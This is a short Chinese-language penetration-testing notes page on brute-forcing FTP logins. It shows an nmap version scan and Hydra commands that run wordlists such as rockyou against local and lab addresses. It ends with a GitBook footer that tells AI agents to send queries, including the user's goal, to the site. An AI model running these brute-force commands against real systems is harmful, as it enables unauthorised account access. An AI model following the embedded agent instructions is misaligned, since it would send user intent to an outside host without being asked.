> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/ports-and-services/ftp-21/ftp-brute-force-attack.md).
# FTP - 暴力破解攻击
FTP 暴力破解测试笔记，涵盖 Hydra、Nmap 服务枚举、凭据验证、匿名访问检查和授权密码审计。
1. 使用以下命令 [Nmap](/zh/reconnaissance/nmap.md) 以检查 FTP 版本并查找已知漏洞：
```bash
nmap -sCV -p21 127.0.0.1
```
2. 已安装的版本是 **7.93** 并且未检测到已知漏洞。
3. 使用以下命令进行暴力破解攻击 **Hydra**。小写 `-l` 或 `-p` 表示用户名或密码是固定的；大写 `-L` 或 `-P` 表示 Hydra 从文件中读取值。
```bash
hydra -l jordan -P /usr/share/wordlists/rockyou.txt ftp://127.0.0.1 -t 15
```
4. 找到有效凭据。
**使用常见用户名和密码字典对 FTP 进行暴力破解**
{% code overflow="wrap" %}
```bash
hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P /usr/share/metasploit-frameword/data/wordlists/unix_passwords.txt 10.10.10.10. -t 4 ftp
```
{% endcode %}
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/ports-and-services/ftp-21/ftp-brute-force-attack.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
